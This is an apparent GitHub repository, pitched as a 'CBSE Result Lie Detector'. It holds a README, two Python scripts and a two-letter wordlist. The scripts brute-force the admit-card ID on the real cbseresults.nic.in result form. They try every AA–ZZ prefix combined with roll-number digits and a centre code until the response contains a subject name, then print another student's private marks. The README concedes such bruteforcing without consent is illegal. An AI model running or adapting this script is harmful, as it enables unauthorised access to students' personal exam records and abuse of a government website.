├── README.md ├── marks10th.py ├── marks12th.py └── wl.txt /README.md: -------------------------------------------------------------------------------- 1 | # CBSE Result Lie Detector 2 | 3 | Tell if your school friend is lying about his board exam result with this simple python script and their roll number. Python 3 required. 4 | 5 | ## Usage 6 | 7 | 1. Clone repository 8 | ```bash 9 | git clone https://github.com/shero4/cbse-result-lie-detector.git 10 | cd ./cbse-result-lie-detector 11 | ``` 12 | 2. Install requirements 13 | ``` 14 | pip3 install requests BeautifulSoup4 15 | ``` 16 | 3. Change the school code and centre code in the python script 17 | 4. Run this for 12th grade(takes 5-7 seconds), 18 | ```bash 19 | python3 marks12th.py 20 | ``` 21 | 22 | ## I do not condone the use of this program, it is illegal to run bruteforce scripts on any website without consent. Please use this python script as per your discretion 23 | -------------------------------------------------------------------------------- /marks10th.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | from bs4 import BeautifulSoup 4 | 5 | url = "http://cbseresults.nic.in/class10/class10th20.asp" 6 | headers = { 7 | "Host": "cbseresults.nic.in", 8 | "Referer": "http://cbseresults.nic.in/class10/Class10th20.htm", 9 | "Content-Type": "application/x-www-form-urlencoded", 10 | } 11 | 12 | expression = "ENGLISH" # This should be any subject that you have eg. ENGLISH as shown on CBSE website 13 | sch = '25193' # CHANGE HERE 14 | cno = '2556' # CHANGE HERE 15 | 16 | def brute(admid, regno): 17 | data = { 18 | 'regno': regno, 19 | 'sch': sch, 20 | 'cno': cno, 21 | 'admid': admid, 22 | 'B2': 'Submit', 23 | } 24 | r = requests.post(url, headers=headers, data=data) 25 | if expression in r.text: 26 | return r.text 27 | 28 | 29 | def user(regno): 30 | words = [w.strip() for w in open('wl.txt', 'rb').readlines()] 31 | for word in words: 32 | word = word.decode('utf-8') 33 | admid = word + regno[5] + regno[6] + cno 34 | print(admid) 35 | content = brute(admid, regno) 36 | if content: 37 | break 38 | return content 39 | 40 | 41 | def main(): 42 | print('Starting') 43 | roll = str(sys.argv[1]).strip() 44 | print(roll) 45 | c = user(roll) 46 | if c: 47 | soup = BeautifulSoup(c, 'html.parser') 48 | text = soup.get_text() 49 | text = text[text.find('Roll No:' 50 | ):text.find('Check Another Result')] 51 | print(text.rstrip('\n').replace(' ', '')) 52 | else: 53 | print('Could not find score(An error may have occurred, Please try again)') 54 | 55 | 56 | if __name__ == '__main__': 57 | main() -------------------------------------------------------------------------------- /marks12th.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import requests 5 | import sys 6 | from bs4 import BeautifulSoup 7 | import json 8 | 9 | url = 'http://cbseresults.nic.in/class12/class12th20.asp' 10 | headers = {'Host': 'cbseresults.nic.in', 11 | 'Referer': 'http://cbseresults.nic.in/class12/Class12th20.htm', 12 | 'Content-Type': 'application/x-www-form-urlencoded'} 13 | 14 | expression = 'ENGLISH' # This should be any subject that you have eg. ENGLISH as shown on CBSE website 15 | sch = '25193' # CHANGE HERE 16 | cno = '2556' # CHANGE HERE 17 | 18 | 19 | def brute(admid, regno): 20 | data = { 21 | 'regno': regno, 22 | 'sch': sch, 23 | 'cno': cno, 24 | 'admid': admid, 25 | 'B2': 'Submit', 26 | } 27 | r = requests.post(url, headers=headers, data=data) 28 | if expression in r.text: 29 | return r.text 30 | 31 | 32 | def user(regno): 33 | words = [w.strip() for w in open('wl.txt', 'rb').readlines()] 34 | for word in words: 35 | word = word.decode('utf-8') 36 | admid = word + regno[5] + regno[6] + cno 37 | print(admid) 38 | content = brute(admid, regno) 39 | if content: 40 | break 41 | return content 42 | 43 | 44 | def main(): 45 | print('Starting') 46 | roll = str(sys.argv[1]).strip() 47 | print(roll) 48 | c = user(roll) 49 | if c: 50 | soup = BeautifulSoup(c, 'html.parser') 51 | text = soup.get_text() 52 | text = text[text.find('Roll No:' 53 | ):text.find('Check Another Result')] 54 | print(text.rstrip('\n').replace(' ', '')) 55 | else: 56 | print('Could not find score(An error may have occurred, Please try again)') 57 | 58 | 59 | if __name__ == '__main__': 60 | main() 61 | -------------------------------------------------------------------------------- /wl.txt: -------------------------------------------------------------------------------- 1 | AA 2 | AB 3 | AC 4 | AD 5 | AE 6 | AF 7 | AG 8 | AH 9 | AI 10 | AJ 11 | AK 12 | AL 13 | AM 14 | AN 15 | AO 16 | AP 17 | AQ 18 | AR 19 | AS 20 | AT 21 | AU 22 | AV 23 | AW 24 | AX 25 | AY 26 | AZ 27 | BA 28 | BB 29 | BC 30 | BD 31 | BE 32 | BF 33 | BG 34 | BH 35 | BI 36 | BJ 37 | BK 38 | BL 39 | BM 40 | BN 41 | BO 42 | BP 43 | BQ 44 | BR 45 | BS 46 | BT 47 | BU 48 | BV 49 | BW 50 | BX 51 | BY 52 | BZ 53 | CA 54 | CB 55 | CC 56 | CD 57 | CE 58 | CF 59 | CG 60 | CH 61 | CI 62 | CJ 63 | CK 64 | CL 65 | CM 66 | CN 67 | CO 68 | CP 69 | CQ 70 | CR 71 | CS 72 | CT 73 | CU 74 | CV 75 | CW 76 | CX 77 | CY 78 | CZ 79 | DA 80 | DB 81 | DC 82 | DD 83 | DE 84 | DF 85 | DG 86 | DH 87 | DI 88 | DJ 89 | DK 90 | DL 91 | DM 92 | DN 93 | DO 94 | DP 95 | DQ 96 | DR 97 | DS 98 | DT 99 | DU 100 | DV 101 | DW 102 | DX 103 | DY 104 | DZ 105 | EA 106 | EB 107 | EC 108 | ED 109 | EE 110 | EF 111 | EG 112 | EH 113 | EI 114 | EJ 115 | EK 116 | EL 117 | EM 118 | EN 119 | EO 120 | EP 121 | EQ 122 | ER 123 | ES 124 | ET 125 | EU 126 | EV 127 | EW 128 | EX 129 | EY 130 | EZ 131 | FA 132 | FB 133 | FC 134 | FD 135 | FE 136 | FF 137 | FG 138 | FH 139 | FI 140 | FJ 141 | FK 142 | FL 143 | FM 144 | FN 145 | FO 146 | FP 147 | FQ 148 | FR 149 | FS 150 | FT 151 | FU 152 | FV 153 | FW 154 | FX 155 | FY 156 | FZ 157 | GA 158 | GB 159 | GC 160 | GD 161 | GE 162 | GF 163 | GG 164 | GH 165 | GI 166 | GJ 167 | GK 168 | GL 169 | GM 170 | GN 171 | GO 172 | GP 173 | GQ 174 | GR 175 | GS 176 | GT 177 | GU 178 | GV 179 | GW 180 | GX 181 | GY 182 | GZ 183 | HA 184 | HB 185 | HC 186 | HD 187 | HE 188 | HF 189 | HG 190 | HH 191 | HI 192 | HJ 193 | HK 194 | HL 195 | HM 196 | HN 197 | HO 198 | HP 199 | HQ 200 | HR 201 | HS 202 | HT 203 | HU 204 | HV 205 | HW 206 | HX 207 | HY 208 | HZ 209 | IA 210 | IB 211 | IC 212 | ID 213 | IE 214 | IF 215 | IG 216 | IH 217 | II 218 | IJ 219 | IK 220 | IL 221 | IM 222 | IN 223 | IO 224 | IP 225 | IQ 226 | IR 227 | IS 228 | IT 229 | IU 230 | IV 231 | IW 232 | IX 233 | IY 234 | IZ 235 | JA 236 | JB 237 | JC 238 | JD 239 | JE 240 | JF 241 | JG 242 | JH 243 | JI 244 | JJ 245 | JK 246 | JL 247 | JM 248 | JN 249 | JO 250 | JP 251 | JQ 252 | JR 253 | JS 254 | JT 255 | JU 256 | JV 257 | JW 258 | JX 259 | JY 260 | JZ 261 | KA 262 | KB 263 | KC 264 | KD 265 | KE 266 | KF 267 | KG 268 | KH 269 | KI 270 | KJ 271 | KK 272 | KL 273 | KM 274 | KN 275 | KO 276 | KP 277 | KQ 278 | KR 279 | KS 280 | KT 281 | KU 282 | KV 283 | KW 284 | KX 285 | KY 286 | KZ 287 | LA 288 | LB 289 | LC 290 | LD 291 | LE 292 | LF 293 | LG 294 | LH 295 | LI 296 | LJ 297 | LK 298 | LL 299 | LM 300 | LN 301 | LO 302 | LP 303 | LQ 304 | LR 305 | LS 306 | LT 307 | LU 308 | LV 309 | LW 310 | LX 311 | LY 312 | LZ 313 | MA 314 | MB 315 | MC 316 | MD 317 | ME 318 | MF 319 | MG 320 | MH 321 | MI 322 | MJ 323 | MK 324 | ML 325 | MM 326 | MN 327 | MO 328 | MP 329 | MQ 330 | MR 331 | MS 332 | MT 333 | MU 334 | MV 335 | MW 336 | MX 337 | MY 338 | MZ 339 | NA 340 | NB 341 | NC 342 | ND 343 | NE 344 | NF 345 | NG 346 | NH 347 | NI 348 | NJ 349 | NK 350 | NL 351 | NM 352 | NN 353 | NO 354 | NP 355 | NQ 356 | NR 357 | NS 358 | NT 359 | NU 360 | NV 361 | NW 362 | NX 363 | NY 364 | NZ 365 | OA 366 | OB 367 | OC 368 | OD 369 | OE 370 | OF 371 | OG 372 | OH 373 | OI 374 | OJ 375 | OK 376 | OL 377 | OM 378 | ON 379 | OO 380 | OP 381 | OQ 382 | OR 383 | OS 384 | OT 385 | OU 386 | OV 387 | OW 388 | OX 389 | OY 390 | OZ 391 | PA 392 | PB 393 | PC 394 | PD 395 | PE 396 | PF 397 | PG 398 | PH 399 | PI 400 | PJ 401 | PK 402 | PL 403 | PM 404 | PN 405 | PO 406 | PP 407 | PQ 408 | PR 409 | PS 410 | PT 411 | PU 412 | PV 413 | PW 414 | PX 415 | PY 416 | PZ 417 | QA 418 | QB 419 | QC 420 | QD 421 | QE 422 | QF 423 | QG 424 | QH 425 | QI 426 | QJ 427 | QK 428 | QL 429 | QM 430 | QN 431 | QO 432 | QP 433 | QQ 434 | QR 435 | QS 436 | QT 437 | QU 438 | QV 439 | QW 440 | QX 441 | QY 442 | QZ 443 | RA 444 | RB 445 | RC 446 | RD 447 | RE 448 | RF 449 | RG 450 | RH 451 | RI 452 | RJ 453 | RK 454 | RL 455 | RM 456 | RN 457 | RO 458 | RP 459 | RQ 460 | RR 461 | RS 462 | RT 463 | RU 464 | RV 465 | RW 466 | RX 467 | RY 468 | RZ 469 | SA 470 | SB 471 | SC 472 | SD 473 | SE 474 | SF 475 | SG 476 | SH 477 | SI 478 | SJ 479 | SK 480 | SL 481 | SM 482 | SN 483 | SO 484 | SP 485 | SQ 486 | SR 487 | SS 488 | ST 489 | SU 490 | SV 491 | SW 492 | SX 493 | SY 494 | SZ 495 | TA 496 | TB 497 | TC 498 | TD 499 | TE 500 | TF 501 | TG 502 | TH 503 | TI 504 | TJ 505 | TK 506 | TL 507 | TM 508 | TN 509 | TO 510 | TP 511 | TQ 512 | TR 513 | TS 514 | TT 515 | TU 516 | TV 517 | TW 518 | TX 519 | TY 520 | TZ 521 | UA 522 | UB 523 | UC 524 | UD 525 | UE 526 | UF 527 | UG 528 | UH 529 | UI 530 | UJ 531 | UK 532 | UL 533 | UM 534 | UN 535 | UO 536 | UP 537 | UQ 538 | UR 539 | US 540 | UT 541 | UU 542 | UV 543 | UW 544 | UX 545 | UY 546 | UZ 547 | VA 548 | VB 549 | VC 550 | VD 551 | VE 552 | VF 553 | VG 554 | VH 555 | VI 556 | VJ 557 | VK 558 | VL 559 | VM 560 | VN 561 | VO 562 | VP 563 | VQ 564 | VR 565 | VS 566 | VT 567 | VU 568 | VV 569 | VW 570 | VX 571 | VY 572 | VZ 573 | WA 574 | WB 575 | WC 576 | WD 577 | WE 578 | WF 579 | WG 580 | WH 581 | WI 582 | WJ 583 | WK 584 | WL 585 | WM 586 | WN 587 | WO 588 | WP 589 | WQ 590 | WR 591 | WS 592 | WT 593 | WU 594 | WV 595 | WW 596 | WX 597 | WY 598 | WZ 599 | XA 600 | XB 601 | XC 602 | XD 603 | XE 604 | XF 605 | XG 606 | XH 607 | XI 608 | XJ 609 | XK 610 | XL 611 | XM 612 | XN 613 | XO 614 | XP 615 | XQ 616 | XR 617 | XS 618 | XT 619 | XU 620 | XV 621 | XW 622 | XX 623 | XY 624 | XZ 625 | YA 626 | YB 627 | YC 628 | YD 629 | YE 630 | YF 631 | YG 632 | YH 633 | YI 634 | YJ 635 | YK 636 | YL 637 | YM 638 | YN 639 | YO 640 | YP 641 | YQ 642 | YR 643 | YS 644 | YT 645 | YU 646 | YV 647 | YW 648 | YX 649 | YY 650 | YZ 651 | ZA 652 | ZB 653 | ZC 654 | ZD 655 | ZE 656 | ZF 657 | ZG 658 | ZH 659 | ZI 660 | ZJ 661 | ZK 662 | ZL 663 | ZM 664 | ZN 665 | ZO 666 | ZP 667 | ZQ 668 | ZR 669 | ZS 670 | ZT 671 | ZU 672 | ZV 673 | ZW 674 | ZX 675 | ZY 676 | ZZ 677 | --------------------------------------------------------------------------------